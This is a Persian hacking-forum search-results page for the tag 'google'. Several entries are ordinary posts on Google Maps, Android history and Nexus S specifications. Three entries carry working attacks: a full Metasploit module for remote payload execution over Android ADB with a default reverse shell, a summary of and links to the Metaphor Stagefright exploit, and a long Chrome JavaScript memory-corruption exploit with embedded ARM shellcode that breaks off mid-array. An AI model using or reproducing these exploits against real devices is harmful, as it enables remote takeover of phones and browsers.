رفتن به مطلب
امکانات انجمن
  • مهمانان محترم می توانند بدون عضویت در سایت در بخش پرسش و پاسخ به بحث و گفتگو پرداخته و در صورت وجود مشکل یا سوال در انجمنن مربوطه موضوع خود را مطرح کنند



iran rules jazbe modir
snapphost mahak

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'google'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • انجمن های اصلی تیم
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • پروژه های تیم
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

23 نتیجه پیدا شد

  1. Miscellaneous

    گوگل همیشه در حال توسعه‌دادن گوگل مپس می‌باشد و قصد دارد تا این اپ را با زندگی افراد همراه سازد. علاوه بر اینکه این سرویس به شما کمک می‌کند تا از مکانی به مکانی دیگر بروید، همه‌ی نقشه‌ها را به‌شما نمایش می‌دهد و همچنین می‌توانید مکان‌های مورد علاقه خود را نشانه‌گذاری کنید. در این مطلب می‌خواهیم 7 ترفند کاربردی برای گوگل‌ مپس را برای شما معرفی نماییم.
  2. Soft-Android

    Google Allo Download google allo
  3. Programming-Android

    آموزش برنامه نویسی اندروید را با آشنایی با این سیستم عامل شروع می‌کنیم. اندروید در یونانی به معنای آدم آهنی است. کار توسعه این سیستم عامل توسط گوگل انجام می‌شود و بر پایه هسته لینوکس است. سیستم عامل اندروید در سال 2005 از یک شرکت کوچک در کالیفرنیا خریداری شد. دست اندرکاران قبلی اندروید بعد از خریده شدن نرم افزار توسط گوگل به گوگل پیوستند و کار توسعه خود را سرعت بیشتری بخشیدند. گوگل در سال 2007 در یک نشست خبری اعلام کرد با همکاری 34 شرکت سعی در تغییر دنیای موبایل دارد. چند عدد از بهترین شرکت‌های موجود در لیست این 34 شرکت عبارتند از: گوگل کوالکام ال‌جی موتورولا انویدیا برودکام و... البته شرکت نوکیا به این انجمن نپیوست و همانطور که می‌دانید چیزی جز نابودی خاتمه فعالیت این شرکت نشد. اولین گوشی معرفی شده با سیستم عامل اندروید در سال 2008 توسط اچ‌تی‌سی با نام HTC Dream عرضه شد. گوگل هر چند وقت یک بروز رسانی جدید از اندروید عرضه می‌کند که تا کنون نسخه‌های زیر به بازار ارائه شده اند: ۲۳ دسامبر ۲۰۰۸: نسخه 1 Alpha ۹ فوریه ۲۰۰۹: نسخه 1/1 Beta ۳۰ آوریل ۲۰۰۹: نسخه 1/5 با نام Cupcake (کیک فنجانی) ۱۵ سپتامبر ۲۰۰۹: نسخه 1/6 با نام Donut (دونات) ۲۶ اکتبر ۲۰۰۹: نسخه 2/0 و 2/1 با نام Eclair (نان خامه‌ای) ۲۰ می۲۰۱۰: نسخه 2/2 با نام Froyo (ماست یخ زده) 6 دسامبر 2010: نسخه 2/3 با نام Gingerbread (نان زنجبیلی) ۲۲ فوریه ۲۰۱۱: نسخه 3/0 و 3/1 و 3/2 با نام Honeycomb (کندوی عسل) نوامبر ۲۰۱۱: نسخه 4/0 با نام Ice Cream Sandwich (ساندویچ بستنی) ۰۹ ژوئیه ۲۰۱۲: نسخه 4/1 و 4/2 و 4/3 با نام Jelly Bean (آب نبات ژله ای) ۳۱ اکتبر ۲۰۱۳: نسخه 4/4 با نام KitKat (کیت کت) ۱۲ نوامبر ۲۰۱۴: نسخه 5/0 با نام Lollipop (آبنبات چوبی) ۰۵ اکتبر ۲۰۱۵: نسخه 6 با نام Marshmallow (پف نبات) ۲۲ اوت ۲۰۱۶: نسخه 7 با نام Nougat (شیرینی تبریزی نقات) نکته: البته روش دیگری برای شماره گذاری نسخه‌های اندروید وجود دارد که می‌توانید در این لینک مشاهده کنید. اگر لیست نام نسخه‌های مختلف اندروید را دوباره نگاه کنید متوجه می‌شوید حرف اول نام هر نسخه به ترتیب حروف الفبای انگلیسی انتخاب شده است. به گفته مدیران اندروید، بزرگترین بروز رسانی اندروید در نسخه 5 بوده است. لوگوی اندروید لوگوی اندروید توسط irina blok طراح مطرح لوگوی تعداد زیادی از شرکت‌های مطرح جهان صورت پذیرفته است. شاید برایتان عجیب باشد ولی این طراح روسی اعلام کرده است که ایده طراحی این لوگوی معروف را از علامت مرد و زن موجود در توالت‌های عمومی گرفته است! نکته جالب دیگر در مورد لوگوی اندروید این است که گوگل مجوز این لوگو را به صورت Open Source منتشر کرده است تا هر کسی که می‌خواهد آن را عوض کند. ویژگی‌ها و نقاط قوت اندروید اندروید تمام تکنولوژی‌های مطرح ارتباطات از جمله bluetooth و Wifi و GSM و WCDMA و LTE و ... را پشتیبانی می‌کند. اندروید از انواع سنسورها و GPS و دوربین‌ها پشتیبانی می‌کند. اندروید فرمت‌های متنوع صوتی، تصویری و فیلم‌ها را پشتیبانی می‌کند. مرورگر این سیستم عامل با WebKit پیاده سازی شده است. پایگاه داده پیش فرض اندروید SQLite است. ابزارهای متنوع توسعه و برنامه نویسی اندروید توسط گوگل در اختیار برنامه نویسان قرار می‌گیرد. زبان برنامه نویسی نرم افزار برای اندروید ابزارهای موجود در اندروید و هر نرم افزاری که قرار است روی اندروید پیاده شود باید با زبان جاوا نوشته شده باشد. در این سیستم عامل کدهای جاوا تبدیل به کدهای Dalvik شده و سپس روی ماشین مجازی Dalvik virtual machine اجرا می‌شوند. Dalvik یک ماشین مجازی بهینه برای پیاده سازی نرم افزارهای قدرتمند با مصرف بهینه از Ram و Cpu است. برای ارتباط با سیستم عامل گوگل API‌هایی را در اختیار برنامه نویسان قرار داده است که تقریبا امکان انجام هر کاری را برای برنامه نویس محیا می‌کند. گوگل در ابتدا محیط برنامه نویسی Eclipse را به همراه پلاگین ADT عرضه کرد. این محیط توسعه هنوز توسط توسعه دهندگان بسیاری طرفداران سر سختی دارد. پس از ارائه Eclipse گوگل محیط توسعه Android Studio را بر اساس پلتفرم IntelliJ IDEA ارائه کرد. در ابتدا این محیط توسعه مشکلات فراوانی داشت به همین دلیل مورد استقبال توسعه دهندگان قرار نگرفت، ولی این محیط توسعه در نسخه 2 خود بسیار رشد کرده است و اکثر برنامه نویسان اندروید به سمت این محیط توسعه کوچ کرده اند.
  4. Mobile-SAMSUNG

    مشخصات عمومی سامسونگ Google Nexus S شبکه 2G GSM 850 / 900 / 1800 / 1900 شبکه 3G HSDPA 900 / 1700 / 2100 تاریخ معرفی 2010, دسامبر وضعیت موجود در بازار. عرضه شده در دسامبر 2010 اندازه سامسونگ Google Nexus S ابعاد 123.9x63x10.9 میلیمتر وزن 129 گرم صفحه نمایش سامسونگ Google Nexus S نوع صفحه نمایش لمسی خازنی Super AMOLED, با 16 میلیون رنگ اندازه 480x800 پیکسل, 4.0 اینچ - Oleophobic surface - Contour Display with curved glass screen - Multi-touch input method - Accelerometer sensor for UI auto-rotate - Touch-sensitive controls - Proximity sensor for auto turn-off - Three-axis gyro sensor زنگ سامسونگ Google Nexus S انواع زنگ ویبریشن; MP3, WAV زنگ اسپیکر - 3.5 mm audio jack حافظه سامسونگ Google Nexus S دفتر تلفن تعداد نامحدود و همراه همه جزئیات, حافظه تصویری حافظه تماس ها نامحدود داخل دستگاه 16GB حافظه داخلی, دارای 512 مگابایت RAM کارت حافظه امکانات ارتباطی سامسونگ Google Nexus S GPRS EDGE 3G HSDPA, 7.2 Mbps; HSUPA, 5.76 Mbps شبکه بی سیم Wi-Fi 802.11 b/g/n; DLNA بلوتوث دارد, v2.1 with A2DP مادون قرمز USB دارد, v2.0 microUSB دوربین سامسونگ Google Nexus S اصلی 5 مگاپیکسل, 2560x1920 پیکسل, فوکوس اتوماتیک, فلش LED دیگر امکانات ثبت اطلاعات مکانی (geo-tagging), فوکوس لمسی (touch focus) فیلم برداری دارد, WVGAبا سرعت 30 فریم در ثانیه ثانویه دارد, VGA دیگر امکانات سامسونگ Google Nexus S OS سیستم عامل اندروید, v2.3 Gingerbread CPU ARM Cortex A8 1GHz processor پیغام رسانی SMS(threaded view), MMS, Email, Push Mail, IM, RSS مرورگر وب HTML رادیو بازی ها رنگ بندی مشكی موقعیت یاب (GPS) دارد, with A-GPS support جاوا Via third party application - Social networking integration - Digital compass - MP4/DivX/WMV/H.264/H.263 player - MP3/WAV/eAAC+/AC3/FLAC player - Organizer - Image/video editor - Document editor (Word, Excel, PowerPoint, PDF) - Google Search, Maps, Gmail, YouTube, Calendar, Google Talk, Picasa integration - Flash Player v10.1 - Voice memo/dial/commands - Predictive text input - Near Field Communications باطری سامسونگ Google Nexus S Standard battery, Li-Ion 1500 mAh زمان آماده باش تا 713 ساعت (2G) / تا 428 ساعت (3G) زمان صحبت تا 14 ساعت (2G) / تا 6 ساعت و 40 دقیقه (3G) سایر موارد سامسونگ Google Nexus S سطح قیمت حدود 650 یورو
  5. باسلام درخواست نرم افزار google earth رو داشتم
  6. Programming-Android

    باسلام . معین سون هستم . آموزش 0 تا 100 جاوا به زبان فارسی قوانین تاپیک : 1-پرسش ممنوع 2-اسپم ممنوع 3- ارسال ممنوع سوالات در بخش پرسش و پاسخ مطرح شود .
  7. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/adb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Android ADB Debug Server Remote Payload Execution', 'Description' => %q{ Writes and spawns a native payload on an android device that is listening for adb debug messages. }, 'Author' => ['joev'], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ ['armle', {'Arch' => ARCH_ARMLE}], ['x86', {'Arch' => ARCH_X86}], ['x64', {'Arch' => ARCH_X86_64}], ['mipsle', {'Arch' => ARCH_MIPSLE}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2016' )) register_options([ Opt::RPORT(5555), OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']) ], self.class) end def check setup_adb_connection do device_info = @adb_client.connect.data print_good "Detected device:\n#{device_info}" return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Unknown end def execute_command(cmd, opts) response = @adb_client.exec_cmd(cmd) print_good "Command executed, response:\n #{response}" end def exploit setup_adb_connection do device_data = @adb_client.connect print_good "Connected to device:\n#{device_data.data}" execute_cmdstager({ flavor: :echo, enc_format: :octal, prefix: '\\\\0', temp: datastore['WritableDir'], linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8, background: true, nodelete: true }) end end def setup_adb_connection(&blk) begin print_status "Connecting to device..." connect @adb_client = Rex::Proto::ADB::Client.new(sock) blk.call ensure disconnect end end end
  8. Source: https://github.com/NorthBit/Metaphor Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd. Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf Twitter: https://twitter.com/High_Byte Metaphor's source code is now released! The source include a PoC that generates MP4 exploits in real-time and bypassing ASLR. The PoC includes lookup tables for Nexus 5 Build LRX22C with Android 5.0.1. Server-side of the PoC include simple PHP scripts that run the exploit generator - I'm using XAMPP to serve gzipped MP4 files. The attack page is index.php. The exploit generator is written in Python and used by the PHP code. usage: metaphor.py [-h] [-c CONFIG] -o OUTPUT {leak,rce,suicide} ... positional arguments: {leak,rce,suicide} Type of exploit to generate optional arguments: -h, --help show this help message and exit -c CONFIG, --config CONFIG Override exploit configuration -o OUTPUT, --output OUTPUT Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosting this project to achieve all the goals. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39640.zip
  9. Hacking

    <!-- author:@oldfresher --> <html> <div id="message" style="color: red;"></div> <script> function gc(){ for(var i=0;i<0x200000;i++){ new Array; } } function to_hex(num){ return (num>>>0).toString(16); } function log (){ var str = "<h3>"; for(var i=0;i<arguments.length;i++){ str+=arguments[i]; } str += "</h3>"; console.log(str); document.write(str); } function set_access_address(address){ controllerdv.setUint32(3*4,address,true); controllerdv.setUint32(4*4,0x40000000,true); } function get_dateview(address){ set_access_address(address); if(this.controlleedv === undefined){ this.controlleedv = new DataView(controlee); } return this.controlleedv; } function read_uint32(from_address){ return get_dateview(from_address).getUint32(0,true); } function write_uint32(to_address,writed_value){ get_dateview(to_address).setUint32(0,writed_value,true); } function dumpHex(address){ str = "\n" for(var i=0;i<20;i++){ str+=read_uint32(address+i*4).toString(16)+" "; if(i%4==3)str+="\n"; } log(str); } var kMessages; Object.prototype.__defineGetter__("observe_accept_invalid",function(){ log("called"); kMessages=this}); try{Object.observe({},function(){},1)}catch(e){} delete Object.prototype["observe_accept_invalid"]; kMessages["strict_read_only_property"].push("%3"); kMessages["object_not_extensible"].push("%3"); var args = null; Array.prototype.__defineGetter__(3,function(){ log("3 get called"); args=this}) var p = Promise.defer(); Object.freeze(p.promise) try{p.reject(1)}catch(e){} var promiseStatusSymbole = args[0]; var flag = true; Object.prototype.__defineSetter__(promiseStatusSymbole,function(){ log("set status called"); if(flag){Object.freeze(this)}}) try{new Promise(function(){})}catch(e){} var promiseValueSymbol = args[0]; flag=false; delete Object.prototype[promiseStatusSymbole]; flag = true; Object.prototype.__defineSetter__(promiseValueSymbol,function(){ log("set status called"); if(flag){Object.freeze(this)}}) try{new Promise(function(){})}catch(e){} var promiseOnResolveSymbol = args[0]; flag=false; delete Object.prototype[promiseValueSymbol]; delete Array.prototype[3]; kMessages["strict_read_only_property"].pop(); kMessages["object_not_extensible"].pop(); var pro = new Promise(function(){}); var onResolve=pro[promiseOnResolveSymbol]; var InternalArray = Object.getPrototypeOf(onResolve) var innerProto = {__proto__:null} function toHex(str) { var hex = ''; for(var i=0;i<str.length;i++) { var temp = ("0"+ str.charCodeAt(i).toString(16)).substr(-2); hex += temp;if(i%4==3)hex += ' '; } return hex; } var overwrite; /* 0x5a0df8e8: 0x5a0df429 0x9f808531 0x00000003 0x00000020 0x5a0df8f8: 0x61616161 0x61616161 0x61616161 0x9f616161 0x5a0df908: 0x9f80af89 0x9fa08089 0x9fa08089 0x9ff9a000 0x5a0df918: 0x00004000 0x00000000 0x9ed38931 0x9fb08091 0x5a0df928: 0x00000000 0x00000000 0x9f808121 0x00000100 0x5a0df938: 0x000000c2 0x000000c2 0x000000c2 0x000000c2 */ var ga; Object.prototype.__defineSetter__.call(innerProto,0, function(val){ log("set 0 called");/*innerArray=this;*/ //set hole //Object.defineProperty(this,0,{value:val}); } ) var steps="leaking"; var controller=null; Object.prototype.__defineGetter__.call(innerProto,0, function(){ if(steps==="leaking"){ this.length=1; }else{ controller= new ArrayBuffer(0x1000); disableHook(); steps="leaking"; var abStr = leakArrayBuffer(); log("internal Array length is "+this.length); var oldLength = this.length; for(var i=0;i<abStr.length;i++){ this[i+oldLength]=abStr.charCodeAt(i); } log(JSON.stringify(this)); } log("get--- 0 called"); return 0x48; } ); function enalbeHook(){ Object.setPrototypeOf(InternalArray,innerProto) } function disableHook(){ Object.setPrototypeOf(InternalArray,null); } function str2dv(str){ var ab = new ArrayBuffer(str.length); var dv = new DataView(ab); for(var i=0;i<str.length;i++){ dv.setUint8(i,str.charCodeAt(i)); } return dv; } function leakArrayBuffer(){ var encoded = "aaaaaaaa"; for(var i=0;i<7;i++)encoded+=encoded; log("string length is "+encoded.length); enalbeHook(); var encodedResult = encodeURI(encoded); disableHook(); //find modified ArrayBuffer log(toHex(encodedResult)); var pattern = String.fromCharCode(0x80,0x80,0x80,0,0x80,0x80,0x80,0,0x80,0x80,0x80,0); var index = encodedResult.indexOf(pattern,36); if(index==-1){ throw "find modified array buffer failed"; } var str=encodedResult.substr(index-4,4); controleeAddress=String.fromCharCode(str.charCodeAt(0)-1)+str.substr(1,3); //find sprayed ArrayBuffer pattern = String.fromCharCode(0x20,0,0,0,0,0,0,0); index = encodedResult.indexOf(pattern,36); log(toHex(encodedResult)); if(index==-1){ throw "find array buffer failed"; } log("find array bufer at "+index); var abStr = encodedResult.substr(index-16,12); abStr += controleeAddress; controleeAddress=str2dv(controleeAddress).getUint32(0,true); abStr += String.fromCharCode(0,0,0,2); log(toHex(abStr)); return abStr; } steps="overwrite"; //controller modify controlee var controlee = new ArrayBuffer(0x10000); controlee[0]={};//防止map改变 controlee[1]={};//防止map改变 controlee[2]={};//防止map改变 //spray for(var i=0;i<0x200000/16;i++){new Array}//move controlee to old space for(var i=0;i<0xc000;i++){ var ab=new ArrayBuffer(0x10); ab[0]=controlee; ab[1]=0x404040; ab[2]=0x404040; ab[3]=0x404040 }; var encoded2="1111"; enalbeHook(); var encodedResult = encodeURI(encoded2); disableHook(); log("byte length of controller is "+controller.byteLength+typeof(controller)); if(typeof(controller)!="object"||controller.byteLength!=0x1000000){ alert("modify controller failed"); throw("error"); } var controllerdv = new DataView(controller); log("controller memory layout"); for(var i=0;i<10;i++){ log(("00000000"+controllerdv.getUint32(i*4).toString(16)).substr(-8)); } //生成一块足够大的可读写内存 var huge_str = "eval('');"; for(var i=0;i<8000;i++) huge_str += 'a.a;'; huge_str += "return 10;"; var huge_func = new Function('a',huge_str); huge_func({}); var text = new Text(""); var normalArrayBufferLength = 0x800000; controlee[0]=new ArrayBuffer(normalArrayBufferLength); controlee[1]=huge_func; controlee[2]=text; var normalArrayBuffer= controlee[0]; var controleeElementAddress = read_uint32(controleeAddress+8,true)-1; dumpHex(controleeElementAddress); var normalArrayBufferAddress = read_uint32(controleeElementAddress+8,true)-1; var functionAddress = read_uint32(controleeElementAddress+12,true)-1; var textAddress = read_uint32(controleeElementAddress+16,true)-1; var normalArrayBufferBackingStore = read_uint32(normalArrayBufferAddress+3*4,true); var rwxAddress = read_uint32(functionAddress+3*4); var wrapperTypeInfo=read_uint32(textAddress+3*4); log("rwxAddress "+to_hex(rwxAddress)+" wrapperTypeInfo "+to_hex(wrapperTypeInfo)); function find(start,len,pattern){ log("find start at "+ to_hex(start)); var dv = get_dateview(start); for(var i=0;i<len-pattern.length*4;i++){ for(var j=0;j<pattern.length;j++){ if(dv.getUint32(i+j*4,true)!=pattern[j]) break; } if(j==pattern.length) return start+i; } alert("find failed"); } //var magic_number=[0xeef6f71e,0xb1104604,0x47a02010];//get_elf_hwcap_from_getauxval,0x447949c3 var magic_number=[0xb1104604,0x47a02010,0x46284604];//get_elf_hwcap_from_getauxval,0x447949c3 var magic_position=find((wrapperTypeInfo&~0xfff)-0x1546000,0x2000000,magic_number); log("find magic at "+to_hex(magic_position));//78 f6 bc ee function get_dest_from_blx(addr) { var val = read_uint32(addr); var s = (val & 0x400) >> 10; var i1 = 1 - (((val & 0x20000000) >> 29) ^ s); var i2 = 1 - (((val & 0x8000000) >> 27) ^ s); var i10h = val & 0x3ff; var i10l = (val & 0x7fe0000) >> 17; var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2); return ((addr + 4) & ~3) + off; } var dlsym_addr = get_dest_from_blx(magic_position-4); log("dlsym address is "+to_hex(dlsym_addr)); var so_str=""; var shellcode = [0xf0,0x4f,0x2d,0xe9,0x2d,0xb0,0xa0,0xe3,0xa8,0x1b,0xdf,0xed,0x4f,0xdf,0x4d,0xe2,0x60,0xa0,0xa0,0xe3,0xa7,0x0b,0xdf,0xed,0x67,0x80,0xa0,0xe3,0x20,0xe0,0xa0,0xe3,0x18,0x00,0x8d,0xe5,0x78,0x00,0xa0,0xe3,0x00,0x30,0xa0,0xe3,0xf4,0xb0,0xcd,0xe5,0x70,0xb0,0xa0,0xe3,0x6c,0x20,0xa0,0xe3,0x74,0xc0,0xa0,0xe3,0x6f,0x50,0xa0,0xe3,0xf2,0x80,0xcd,0xe5,0x69,0x40,0xa0,0xe3,0x65,0x60,0xa0,0xe3,0xf8,0x00,0xcd,0xe5,0x64,0x10,0xa0,0xe3,0x73,0x70,0xa0,0xe3,0xf9,0xb0,0xcd,0xe5,0x5f,0x80,0xa0,0xe3,0xff,0xa0,0xcd,0xe5,0x6d,0x00,0xa0,0xe3,0x02,0xa1,0xcd,0xe5,0x61,0xb0,0xa0,0xe3,0x79,0xa0,0xa0,0xe3,0x1a,0x1b,0xcd,0xed,0xf3,0xe0,0xcd,0xe5,0x72,0x90,0xa0,0xe3,0xf6,0xe0,0xcd,0xe5,0xfe,0xe0,0xcd,0xe5,0x03,0x31,0xcd,0xe5,0x5e,0x30,0xcd,0xe5,0xf0,0x20,0xcd,0xe5,0xfa,0x20,0xcd,0xe5,0xf1,0x50,0xcd,0xe5,0xfb,0x50,0xcd,0xe5,0xf5,0xc0,0xcd,0xe5,0xfd,0xc0,0xcd,0xe5,0x5b,0xc0,0xcd,0xe5,0xf7,0x60,0xcd,0xe5,0x5c,0x60,0xcd,0xe5,0xfc,0x40,0xcd,0xe5,0x00,0x41,0xcd,0xe5,0x01,0x11,0xcd,0xe5,0x0c,0x11,0xcd,0xe5,0x58,0x70,0xcd,0xe5,0x5a,0x70,0xcd,0xe5,0x59,0xa0,0xcd,0xe5,0x25,0xa0,0xa0,0xe3,0x5d,0x00,0xcd,0xe5,0x6e,0x00,0xa0,0xe3,0x08,0x81,0xcd,0xe5,0x09,0x81,0xcd,0xe5,0x0a,0xb1,0xcd,0xe5,0x2c,0xb0,0xa0,0xe3,0x11,0x81,0xcd,0xe5,0x15,0x81,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x0b,0x01,0xcd,0xe5,0x67,0x00,0xa0,0xe3,0x16,0x81,0xcd,0xe5,0x6d,0x80,0xa0,0xe3,0x0d,0x91,0xcd,0xe5,0x54,0x80,0xcd,0xe5,0x90,0x80,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x14,0x01,0xcd,0xe5,0x6e,0x00,0xa0,0xe3,0x0e,0x51,0xcd,0xe5,0x10,0x11,0xcd,0xe5,0x13,0x51,0xcd,0xe5,0x17,0x91,0xcd,0xe5,0x50,0x10,0xcd,0xe5,0x79,0x10,0xa0,0xe3,0x91,0x80,0xcd,0xe5,0x70,0x80,0x8d,0xe2,0x92,0x90,0xcd,0xe5,0xe0,0x90,0x8d,0xe2,0x93,0x50,0xcd,0xe5,0x6e,0x50,0xa0,0xe3,0x1b,0x31,0xcd,0xe5,0x55,0x30,0xcd,0xe5,0x98,0x30,0xcd,0xe5,0x0f,0x41,0xcd,0xe5,0x12,0x21,0xcd,0xe5,0x18,0x41,0xcd,0xe5,0x19,0x01,0xcd,0xe5,0x68,0x00,0x8d,0xe2,0x1a,0xc1,0xcd,0xe5,0x51,0x20,0xcd,0xe5,0x52,0x70,0xcd,0xe5,0x53,0x10,0xcd,0xe5,0x03,0x10,0xa0,0xe1,0x30,0x80,0x8d,0xe5,0x34,0x90,0x8d,0xe5,0x94,0xc0,0xcd,0xe5,0x95,0x60,0xcd,0xe5,0x97,0xc0,0xcd,0xe5,0x63,0xc0,0xa0,0xe3,0xe0,0x40,0xcd,0xe5,0x68,0x40,0xa0,0xe3,0xe1,0x50,0xcd,0xe5,0x1c,0x0b,0xcd,0xed,0xe3,0x70,0xcd,0xe5,0x18,0x70,0x9d,0xe5,0xe6,0x20,0xcd,0xe5,0xe7,0x20,0xcd,0xe5,0x78,0x20,0xa0,0xe3,0x96,0xc0,0xcd,0xe5,0xe2,0xe0,0xcd,0xe5,0x00,0x80,0x97,0xe5,0xe8,0xe0,0xcd,0xe5,0xea,0x20,0xcd,0xe5,0xed,0x20,0xcd,0xe5,0xee,0x30,0xcd,0xe5,0xe5,0x60,0xcd,0xe5,0x04,0x60,0x97,0xe5,0xe9,0xa0,0xcd,0xe5,0xec,0xa0,0xcd,0xe5,0xeb,0xb0,0xcd,0xe5,0xe4,0x40,0xcd,0xe5,0x38,0xff,0x2f,0xe1,0x50,0x10,0x8d,0xe2,0x36,0xff,0x2f,0xe1,0x10,0x00,0x8d,0xe5,0x42,0x1f,0x8d,0xe2,0x00,0x00,0xe0,0xe3,0x10,0xa0,0x9d,0xe5,0x3a,0xff,0x2f,0xe1,0x0c,0xb0,0x97,0xe5,0x2c,0x00,0x8d,0xe5,0xe0,0x20,0x8d,0xe2,0x08,0x30,0x97,0xe5,0x70,0x10,0x8d,0xe2,0x02,0x00,0xa0,0xe3,0x2c,0x90,0x9d,0xe5,0x00,0xb0,0x8d,0xe5,0x39,0xff,0x2f,0xe1,0x58,0x10,0x8d,0xe2,0x00,0x00,0xe0,0xe3,0x3a,0xff,0x2f,0xe1,0x00,0x30,0xa0,0xe1,0xf0,0x00,0x8d,0xe2,0x33,0xff,0x2f,0xe1,0x00,0x00,0xe0,0xe3,0x90,0x10,0x8d,0xe2,0x3a,0xff,0x2f,0xe1,0x00,0xc0,0xa0,0xe1,0x08,0x00,0x97,0xe5,0x01,0x00,0x70,0xe3,0x7d,0x01,0x00,0x0a,0x18,0xe0,0x9d,0xe5,0x01,0x5a,0x8e,0xe2,0xff,0x6e,0xc5,0xe3,0x07,0x20,0xa0,0xe3,0x0f,0xa0,0xc6,0xe3,0x0b,0x1a,0xa0,0xe3,0x01,0x0a,0x8a,0xe2,0x05,0x4a,0x85,0xe2,0x3c,0xff,0x2f,0xe1,0xbc,0xa2,0xd5,0xe1,0x1c,0x20,0x95,0xe5,0x00,0x00,0x5a,0xe3,0x02,0x20,0x85,0xe0,0x00,0xe0,0xa0,0x13,0x09,0x00,0x00,0x1a,0x1e,0x00,0x00,0xea,0x00,0xf0,0x20,0xe3,0x6c,0x69,0x62,0x63,0x2e,0x73,0x6f,0x00,0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x00,0x01,0xe0,0x8e,0xe2,0x20,0x20,0x82,0xe2,0x0a,0x00,0x5e,0xe1,0x15,0x00,0x00,0x2a,0x00,0xb0,0x92,0xe5,0x01,0x00,0x5b,0xe3,0xf8,0xff,0xff,0x1a,0x10,0x90,0x92,0xe5,0x00,0x00,0x59,0xe3,0xf5,0xff,0xff,0x0a,0x00,0x30,0xa0,0xe3,0x04,0xc0,0x92,0xe5,0x03,0x70,0x85,0xe0,0x03,0x00,0x84,0xe0,0x08,0x10,0x92,0xe5,0x01,0x30,0x83,0xe2,0x0c,0x80,0xd7,0xe7,0x01,0x80,0xc0,0xe7,0x10,0x60,0x92,0xe5,0x06,0x00,0x53,0xe1,0xf5,0xff,0xff,0x3a,0xbc,0xa2,0xd5,0xe1,0x01,0xe0,0x8e,0xe2,0x20,0x20,0x82,0xe2,0x0a,0x00,0x5e,0xe1,0xe9,0xff,0xff,0x3a,0x5f,0xe0,0xa0,0xe3,0x64,0xc0,0xa0,0xe3,0x61,0xb0,0xa0,0xe3,0x72,0x60,0xa0,0xe3,0x00,0x90,0xa0,0xe3,0x74,0x70,0xa0,0xe3,0x20,0xe1,0xcd,0xe5,0x6e,0xa0,0xa0,0xe3,0x69,0x20,0xa0,0xe3,0x21,0xe1,0xcd,0xe5,0x6f,0x30,0xa0,0xe3,0x29,0xe1,0xcd,0xe5,0x12,0x8e,0x8d,0xe2,0x2d,0xe1,0xcd,0xe5,0x6c,0xe0,0xa0,0xe3,0x08,0x10,0xa0,0xe1,0x22,0xb1,0xcd,0xe5,0x67,0xb0,0xa0,0xe3,0x00,0x00,0xe0,0xe3,0x24,0xc1,0xcd,0xe5,0x28,0xc1,0xcd,0xe5,0x70,0xc0,0xa0,0xe3,0x23,0xa1,0xcd,0xe5,0x31,0xa1,0xcd,0xe5,0x25,0x61,0xcd,0xe5,0x2f,0x61,0xcd,0xe5,0x26,0x31,0xcd,0xe5,0x2b,0x31,0xcd,0xe5,0x10,0x30,0x9d,0xe5,0x27,0x21,0xcd,0xe5,0x30,0x21,0xcd,0xe5,0x2a,0xe1,0xcd,0xe5,0x2c,0xb1,0xcd,0xe5,0x63,0xb0,0xa0,0xe3,0x2e,0xc1,0xcd,0xe5,0x32,0x71,0xcd,0xe5,0x33,0x91,0xcd,0xe5,0x33,0xff,0x2f,0xe1,0x70,0x20,0xa0,0xe3,0x73,0xe0,0xa0,0xe3,0x0c,0x00,0x8d,0xe5,0x6d,0xc0,0xa0,0xe3,0x61,0x70,0xcd,0xe5,0x60,0x10,0x8d,0xe2,0x62,0x60,0xcd,0xe5,0x10,0x30,0x9d,0xe5,0x00,0x00,0xe0,0xe3,0x65,0x20,0xcd,0xe5,0x60,0xe0,0xcd,0xe5,0x63,0xb0,0xcd,0xe5,0x